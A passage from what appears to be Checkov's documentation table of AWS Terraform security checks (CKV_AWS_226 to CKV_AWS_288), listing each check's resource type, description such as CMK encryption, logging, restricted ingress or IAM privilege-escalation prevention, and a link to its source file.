[APIGatewayMethodSettingsCacheEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEnabled.py)                                                       |\n|  319 | CKV_AWS_226     | resource | aws_db_instance                                                  | Ensure DB instance gets all minor upgrades automatically                                                                                                                                                 | Terraform | [DBInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py)                                                                                   |\n|  320 | CKV_AWS_226     | resource | aws_rds_cluster_instance                                         | Ensure DB instance gets all minor upgrades automatically                                                                                                                                                 | Terraform | [DBInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py)                                                                                   |\n|  321 | CKV_AWS_227     | resource | aws_kms_key                                                      | Ensure KMS key is enabled                                                                                                                                                                                | Terraform | [KMSKeyIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSKeyIsEnabled.py)                                                                                                 |\n|  322 | CKV_AWS_228     | resource | aws_elasticsearch_domain                                         | Verify Elasticsearch domain is using an up to date TLS policy                                                                                                                                            | Terraform | [ElasticsearchTLSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py)                                                                                   |\n|  323 | CKV_AWS_228     | resource | aws_opensearch_domain                                            | Verify Elasticsearch domain is using an up to date TLS policy                                                                                                                                            | Terraform | [ElasticsearchTLSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py)                                                                                   |\n|  324 | CKV_AWS_229     | resource | aws_network_acl                                                  | Ensure no NACL allow ingress from 0.0.0.0:0 to port 21                                                                                                                                                   | Terraform | [NetworkACLUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py)                                                                 |\n|  325 | CKV_AWS_229     | resource | aws_network_acl_rule                                             | Ensure no NACL allow ingress from 0.0.0.0:0 to port 21                                                                                                                                                   | Terraform | [NetworkACLUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py)                                                                 |\n|  326 | CKV_AWS_230     | resource | aws_network_acl                                                  | Ensure no NACL allow ingress from 0.0.0.0:0 to port 20                                                                                                                                                   | Terraform | [NetworkACLUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py)                                                                 |\n|  327 | CKV_AWS_230     | resource | aws_network_acl_rule                                             | Ensure no NACL allow ingress from 0.0.0.0:0 to port 20                                                                                                                                                   | Terraform | [NetworkACLUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py)                                                                 |\n|  328 | CKV_AWS_231     | resource | aws_network_acl                                                  | Ensure no NACL allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                                 | Terraform | [NetworkACLUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py)                                                             |\n|  329 | CKV_AWS_231     | resource | aws_network_acl_rule                                             | Ensure no NACL allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                                 | Terraform | [NetworkACLUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py)                                                             |\n|  330 | CKV_AWS_232     | resource | aws_network_acl                                                  | Ensure no NACL allow ingress from 0.0.0.0:0 to port 22                                                                                                                                                   | Terraform | [NetworkACLUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py)                                                                 |\n|  331 | CKV_AWS_232     | resource | aws_network_acl_rule                                             | Ensure no NACL allow ingress from 0.0.0.0:0 to port 22                                                                                                                                                   | Terraform | [NetworkACLUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py)                                                                 |\n|  332 | CKV_AWS_233     | resource | aws_acm_certificate                                              | Ensure Create before destroy for ACM certificates                                                                                                                                                        | Terraform | [ACMCertCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ACMCertCreateBeforeDestroy.py)                                                                           |\n|  333 | CKV_AWS_234     | resource | aws_acm_certificate                                              | Verify logging preference for ACM certificates                                                                                                                                                           | Terraform | [ACMCertSetLoggingPreference.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ACMCertSetLoggingPreference.py)                                                                         |\n|  334 | CKV_AWS_235     | resource | aws_ami_copy                                                     | Ensure that copied AMIs are encrypted                                                                                                                                                                    | Terraform | [AMICopyIsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMICopyIsEncrypted.py)                                                                                           |\n|  335 | CKV_AWS_236     | resource | aws_ami_copy                                                     | Ensure AMI copying uses a CMK                                                                                                                                                                            | Terraform | [AMICopyUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMICopyUsesCMK.py)                                                                                                   |\n|  336 | CKV_AWS_237     | resource | aws_api_gateway_rest_api                                         | Ensure Create before destroy for API Gateway                                                                                                                                                             | Terraform | [APIGatewayCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayCreateBeforeDestroy.py)                                                                     |\n|  337 | CKV_AWS_238     | resource | aws_guardduty_detector                                           | Ensure that GuardDuty detector is enabled                                                                                                                                                                | Terraform | [GuarddutyDetectorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GuarddutyDetectorEnabled.py)                                                                               |\n|  338 | CKV_AWS_239     | resource | aws_dax_cluster                                                  | Ensure DAX cluster endpoint is using TLS                                                                                                                                                                 | Terraform | [DAXEndpointTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DAXEndpointTLS.py)                                                                                                   |\n|  339 | CKV_AWS_240     | resource | aws_kinesis_firehose_delivery_stream                             | Ensure Kinesis Firehose delivery stream is encrypted                                                                                                                                                     | Terraform | [KinesisFirehoseDeliveryStreamSSE.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamSSE.py)                                                               |\n|  340 | CKV_AWS_241     | resource | aws_kinesis_firehose_delivery_stream                             | Ensure that Kinesis Firehose Delivery Streams are encrypted with CMK                                                                                                                                     | Terraform | [KinesisFirehoseDeliveryStreamUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamUsesCMK.py)                                                       |\n|  341 | CKV_AWS_242     | resource | aws_mwaa_environment                                             | Ensure MWAA environment has scheduler logs enabled                                                                                                                                                       | Terraform | [MWAASchedulerLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAASchedulerLogsEnabled.py)                                                                               |\n|  342 | CKV_AWS_243     | resource | aws_mwaa_environment                                             | Ensure MWAA environment has worker logs enabled                                                                                                                                                          | Terraform | [MWAAWorkerLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAAWorkerLogsEnabled.py)                                                                                     |\n|  343 | CKV_AWS_244     | resource | aws_mwaa_environment                                             | Ensure MWAA environment has webserver logs enabled                                                                                                                                                       | Terraform | [MWAAWebserverLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAAWebserverLogsEnabled.py)                                                                               |\n|  344 | CKV_AWS_245     | resource | aws_db_instance_automated_backups_replication                    | Ensure replicated backups are encrypted at rest using KMS CMKs                                                                                                                                           | Terraform | [RDSInstanceAutoBackupEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstanceAutoBackupEncryptionWithCMK.py)                                                   |\n|  345 | CKV_AWS_246     | resource | aws_rds_cluster_activity_stream                                  | Ensure RDS Cluster activity streams are encrypted using KMS CMKs                                                                                                                                         | Terraform | [RDSClusterActivityStreamEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterActivityStreamEncryptedWithCMK.py)                                               |\n|  346 | CKV_AWS_247     | resource | aws_elasticsearch_domain                                         | Ensure all data stored in the Elasticsearch is encrypted with a CMK                                                                                                                                      | Terraform | [ElasticsearchEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py)                                                                   |\n|  347 | CKV_AWS_247     | resource | aws_opensearch_domain                                            | Ensure all data stored in the Elasticsearch is encrypted with a CMK                                                                                                                                      | Terraform | [ElasticsearchEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py)                                                                   |\n|  348 | CKV_AWS_248     | resource | aws_elasticsearch_domain                                         | Ensure that Elasticsearch is not using the default Security Group                                                                                                                                        | Terraform | [ElasticsearchDefaultSG.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py)                                                                                   |\n|  349 | CKV_AWS_248     | resource | aws_opensearch_domain                                            | Ensure that Elasticsearch is not using the default Security Group                                                                                                                                        | Terraform | [ElasticsearchDefaultSG.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py)                                                                                   |\n|  350 | CKV_AWS_249     | resource | aws_ecs_task_definition                                          | Ensure that the Execution Role ARN and the Task Role ARN are different in ECS Task definitions                                                                                                           | Terraform | [ECSTaskDefinitionRoleCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSTaskDefinitionRoleCheck.py)                                                                           |\n|  351 | CKV_AWS_250     | resource | aws_db_instance                                                  | Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/)                                          | Terraform | [RDSPostgreSQLLogFDWExtension.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py)                                                                       |\n|  352 | CKV_AWS_250     | resource | aws_rds_cluster                                                  | Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/)                                          | Terraform | [RDSPostgreSQLLogFDWExtension.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py)                                                                       |\n|  353 | CKV_AWS_251     | resource | aws_cloudtrail                                                   | Ensure CloudTrail logging is enabled                                                                                                                                                                     | Terraform | [CloudtrailEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEnableLogging.py)                                                                                 |\n|  354 | CKV_AWS_252     | resource | aws_cloudtrail                                                   | Ensure CloudTrail defines an SNS Topic                                                                                                                                                                   | Terraform | [CloudtrailDefinesSNSTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailDefinesSNSTopic.py)                                                                             |\n|  355 | CKV_AWS_253     | resource | aws_dlm_lifecycle_policy                                         | Ensure DLM cross region events are encrypted                                                                                                                                                             | Terraform | [DLMEventsCrossRegionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryption.py)                                                                   |\n|  356 | CKV_AWS_254     | resource | aws_dlm_lifecycle_policy                                         | Ensure DLM cross region events are encrypted with Customer Managed Key                                                                                                                                   | Terraform | [DLMEventsCrossRegionEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryptionWithCMK.py)                                                     |\n|  357 | CKV_AWS_255     | resource | aws_dlm_lifecycle_policy                                         | Ensure DLM cross region schedules are encrypted                                                                                                                                                          | Terraform | [DLMScheduleCrossRegionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryption.py)                                                               |\n|  358 | CKV_AWS_256     | resource | aws_dlm_lifecycle_policy                                         | Ensure DLM cross region schedules are encrypted using a Customer Managed Key                                                                                                                             | Terraform | [DLMScheduleCrossRegionEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryptionWithCMK.py)                                                 |\n|  359 | CKV_AWS_257     | resource | aws_codecommit_approval_rule_template                            | Ensure CodeCommit branch changes have at least 2 approvals                                                                                                                                               | Terraform | [CodecommitApprovalsRulesRequireMin2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodecommitApprovalsRulesRequireMin2.py)                                                         |\n|  360 | CKV_AWS_258     | resource | aws_lambda_function_url                                          | Ensure that Lambda function URLs AuthType is not None                                                                                                                                                    | Terraform | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionURLAuth.py)                                                                                     |\n|  361 | CKV_AWS_259     | resource | aws_cloudfront_response_headers_policy                           | Ensure CloudFront response header policy enforces Strict Transport Security                                                                                                                              | Terraform | [CloudFrontResponseHeaderStrictTransportSecurity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudFrontResponseHeaderStrictTransportSecurity.py)                                 |\n|  362 | CKV_AWS_260     | resource | aws_security_group                                               | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                                           |\n|  363 | CKV_AWS_260     | resource | aws_security_group_rule                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                                           |\n|  364 | CKV_AWS_260     | resource | aws_vpc_security_group_ingress_rule                              | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                                           |\n|  365 | CKV_AWS_261     | resource | aws_alb_target_group                                             | Ensure HTTP HTTPS Target group defines Healthcheck                                                                                                                                                       | Terraform | [LBTargetGroupsDefinesHealthcheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py)                                                               |\n|  366 | CKV_AWS_261     | resource | aws_lb_target_group                                              | Ensure HTTP HTTPS Target group defines Healthcheck                                                                                                                                                       | Terraform | [LBTargetGroupsDefinesHealthcheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py)                                                               |\n|  367 | CKV_AWS_262     | resource | aws_kendra_index                                                 | Ensure Kendra index Server side encryption uses CMK                                                                                                                                                      | Terraform | [KendraIndexSSEUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KendraIndexSSEUsesCMK.py)                                                                                     |\n|  368 | CKV_AWS_263     | resource | aws_appflow_flow                                                 | Ensure AppFlow flow uses CMK                                                                                                                                                                             | Terraform | [AppFlowUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppFlowUsesCMK.py)                                                                                                   |\n|  369 | CKV_AWS_264     | resource | aws_appflow_connector_profile                                    | Ensure AppFlow connector profile uses CMK                                                                                                                                                                | Terraform | [AppFlowConnectorProfileUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppFlowConnectorProfileUsesCMK.py)                                                                   |\n|  370 | CKV_AWS_265     | resource | aws_keyspaces_table                                              | Ensure Keyspaces Table uses CMK                                                                                                                                                                          | Terraform | [KeyspacesTableUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KeyspacesTableUsesCMK.py)                                                                                     |\n|  371 | CKV_AWS_266     | resource | aws_db_snapshot_copy                                             | Ensure DB Snapshot copy uses CMK                                                                                                                                                                         | Terraform | [DBSnapshotCopyUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBSnapshotCopyUsesCMK.py)                                                                                     |\n|  372 | CKV_AWS_267     | resource | aws_comprehend_entity_recognizer                                 | Ensure that Comprehend Entity Recognizer's model is encrypted by KMS using a customer managed Key (CMK)                                                                                                  | Terraform | [ComprehendEntityRecognizerModelUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerModelUsesCMK.py)                                                   |\n|  373 | CKV_AWS_268     | resource | aws_comprehend_entity_recognizer                                 | Ensure that Comprehend Entity Recognizer's volume is encrypted by KMS using a customer managed Key (CMK)                                                                                                 | Terraform | [ComprehendEntityRecognizerVolumeUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerVolumeUsesCMK.py)                                                 |\n|  374 | CKV_AWS_269     | resource | aws_connect_instance_storage_config                              | Ensure Connect Instance Kinesis Video Stream Storage Config uses CMK                                                                                                                                     | Terraform | [ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py)                     |\n|  375 | CKV_AWS_270     | resource | aws_connect_instance_storage_config                              | Ensure Connect Instance S3 Storage Config uses CMK                                                                                                                                                       | Terraform | [ConnectInstanceS3StorageConfigUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConnectInstanceS3StorageConfigUsesCMK.py)                                                     |\n|  376 | CKV_AWS_271     | resource | aws_dynamodb_table_replica                                       | Ensure DynamoDB table replica KMS encryption uses CMK                                                                                                                                                    | Terraform | [DynamoDBTableReplicaKMSUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBTableReplicaKMSUsesCMK.py)                                                                   |\n|  377 | CKV_AWS_272     | resource | aws_lambda_function                                              | Ensure AWS Lambda function is configured to validate code-signing                                                                                                                                        | Terraform | [LambdaCodeSigningConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaCodeSigningConfigured.py)                                                                         |\n|  378 | CKV_AWS_273     | resource | aws_iam_user                                                     | Ensure access is controlled through SSO and not AWS IAM defined users                                                                                                                                    | Terraform | [IAMUserNotUsedForAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMUserNotUsedForAccess.py)                                                                                 |\n|  379 | CKV_AWS_274     | resource | aws_iam_group_policy_attachment                                  | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  380 | CKV_AWS_274     | resource | aws_iam_policy_attachment                                        | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  381 | CKV_AWS_274     | resource | aws_iam_role                                                     | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  382 | CKV_AWS_274     | resource | aws_iam_role_policy_attachment                                   | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  383 | CKV_AWS_274     | resource | aws_iam_user_policy_attachment                                   | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  384 | CKV_AWS_274     | resource | aws_ssoadmin_managed_policy_attachment                           | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  385 | CKV_AWS_275     | data     | aws_iam_policy                                                   | Disallow policies from using the AWS AdministratorAccess policy                                                                                                                                          | Terraform | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMManagedAdminPolicy.py)                                                                                         |\n|  386 | CKV_AWS_276     | resource | aws_api_gateway_method_settings                                  | Ensure Data Trace is not enabled in API Gateway Method Settings                                                                                                                                          | Terraform | [APIGatewayMethodSettingsDataTrace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsDataTrace.py)                                                             |\n|  387 | CKV_AWS_277     | resource | aws_security_group                                               | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py)                                                         |\n|  388 | CKV_AWS_277     | resource | aws_security_group_rule                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py)                                                         |\n|  389 | CKV_AWS_277     | resource | aws_vpc_security_group_ingress_rule                              | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py)                                                         |\n|  390 | CKV_AWS_278     | resource | aws_memorydb_snapshot                                            | Ensure MemoryDB snapshot is encrypted by KMS using a customer managed Key (CMK)                                                                                                                          | Terraform | [MemoryDBSnapshotEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBSnapshotEncryptionWithCMK.py)                                                             |\n|  391 | CKV_AWS_279     | resource | aws_neptune_cluster_snapshot                                     | Ensure Neptune snapshot is securely encrypted                                                                                                                                                            | Terraform | [NeptuneClusterSnapshotEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncrypted.py)                                                                 |\n|  392 | CKV_AWS_280     | resource | aws_neptune_cluster_snapshot                                     | Ensure Neptune snapshot is encrypted by KMS using a customer managed Key (CMK)                                                                                                                           | Terraform | [NeptuneClusterSnapshotEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncryptedWithCMK.py)                                                   |\n|  393 | CKV_AWS_281     | resource | aws_redshift_snapshot_copy_grant                                 | Ensure RedShift snapshot copy is encrypted by KMS using a customer managed Key (CMK)                                                                                                                     | Terraform | [RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py)                               |\n|  394 | CKV_AWS_282     | resource | aws_redshiftserverless_namespace                                 | Ensure that Redshift Serverless namespace is encrypted by KMS using a customer managed key (CMK)                                                                                                         | Terraform | [RedshiftServerlessNamespaceKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftServerlessNamespaceKMSKey.py)                                                             |\n|  395 | CKV_AWS_283     | data     | aws_iam_policy_document                                          | Ensure no IAM policies documents allow ALL or any AWS principal permissions to the resource                                                                                                              | Terraform | [IAMPublicActionsPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPublicActionsPolicy.py)                                                                                       |\n|  396 | CKV_AWS_284     | resource | aws_sfn_state_machine                                            | Ensure State Machine has X-Ray tracing enabled                                                                                                                                                           | Terraform | [StateMachineXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/StateMachineXray.py)                                                                                               |\n|  397 | CKV_AWS_285     | resource | aws_sfn_state_machine                                            | Ensure State Machine has execution history logging enabled                                                                                                                                               | Terraform | [StateMachineLoggingExecutionHistory.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/StateMachineLoggingExecutionHistory.py)                                                         |\n|  398 | CKV_AWS_286     | resource | aws_iam_group_policy                                             | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  399 | CKV_AWS_286     | resource | aws_iam_policy                                                   | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  400 | CKV_AWS_286     | resource | aws_iam_role_policy                                              | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  401 | CKV_AWS_286     | resource | aws_iam_user_policy                                              | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  402 | CKV_AWS_286     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  403 | CKV_AWS_287     | resource | aws_iam_group_policy                                             | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  404 | CKV_AWS_287     | resource | aws_iam_policy                                                   | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  405 | CKV_AWS_287     | resource | aws_iam_role_policy                                              | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  406 | CKV_AWS_287     | resource | aws_iam_user_policy                                              | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  407 | CKV_AWS_287     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  408 | CKV_AWS_288     | resource | aws_iam_group_policy                                             | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  409 | CKV_AWS_288     | resource | aws_iam_policy                                                   | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  410 | CKV_AWS_288     | resource | aws_iam_role_policy                                              | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMDataExfiltration.py)                                                                                         |\n|  411 | CKV_AWS_288     | resource | 